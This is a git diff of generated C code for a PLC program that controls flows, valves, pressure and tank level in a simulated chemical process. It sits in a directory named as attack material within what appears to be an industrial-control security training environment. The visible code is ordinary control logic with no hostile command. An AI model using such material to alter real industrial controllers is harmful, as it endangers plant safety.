__SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->INPUT_UINT,0,retain) + __INIT_VAR(data__->OUTPUT_INT,0,retain) + __INIT_VAR(data__->DIV3_OUT,0,retain) + __INIT_VAR(data__->ABS8_OUT,0,retain) + __INIT_VAR(data__->UINT_TO_INT9_OUT,0,retain) +} + +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV3_OUT,,DIV__UINT__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->INPUT_UINT,), + (UINT)2)); + __SET_VAR(data__->,ABS8_OUT,,ABS__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->DIV3_OUT,))); + __SET_VAR(data__->,UINT_TO_INT9_OUT,,UINT_TO_INT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->ABS8_OUT,))); + __SET_VAR(data__->,OUTPUT_INT,,__GET_VAR(data__->UINT_TO_INT9_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_SIGNED_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE92_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE92_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED1,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED2,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED3,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED4,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED5,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED6,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED7,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED8,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED9,retain); + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_EXTERNAL(BOOL,RUN_BIT,data__->RUN_BIT,retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->ADD87_OUT,0,retain) + __INIT_VAR(data__->GE91_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->SCALE_TO_SIGNED0.,INPUT_UINT,,__GET_VAR(data__->PRESSURE,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED0); + __SET_VAR(data__->,HMI_PRESSURE,,__GET_VAR(data__->SCALE_TO_SIGNED0.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED1.,INPUT_UINT,,__GET_VAR(data__->LEVEL,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED1); + __SET_VAR(data__->,HMI_LEVEL,,__GET_VAR(data__->SCALE_TO_SIGNED1.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED2.,INPUT_UINT,,__GET_VAR(data__->F1_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED2); + __SET_VAR(data__->,HMI_F1_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED2.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED3.,INPUT_UINT,,__GET_VAR(data__->F2_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED3); + __SET_VAR(data__->,HMI_F2_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED3.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED4.,INPUT_UINT,,__GET_VAR(data__->PURGE_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED4); + __SET_VAR(data__->,HMI_PURGE_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED4.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED5.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED5); + __SET_VAR(data__->,HMI_PRODUCT_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED5.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED6.,INPUT_UINT,,__GET_VAR(data__->F1_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED6); + __SET_VAR(data__->,HMI_F1_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED6.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED7.,INPUT_UINT,,__GET_VAR(data__->F2_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED7); + __SET_VAR(data__->,HMI_F2_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED7.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED8.,INPUT_UINT,,__GET_VAR(data__->PURGE_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED8); + __SET_VAR(data__->,HMI_PURGE_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED8.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED9.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED9); + __SET_VAR(data__->,HMI_PRODUCT_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED9.OUTPUT_INT,)); + __SET_VAR(data__->,ADD87_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)1)); + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->ADD87_OUT,)); + __SET_VAR(data__->,GE91_OUT,,GE__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)32000)); + __SET_VAR(data__->,MOVE92_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->GE91_OUT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE92_ENO,)) { + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->MOVE92_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h new file mode 100644 index 0000000..9c89adb --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h @@ -0,0 +1,456 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + 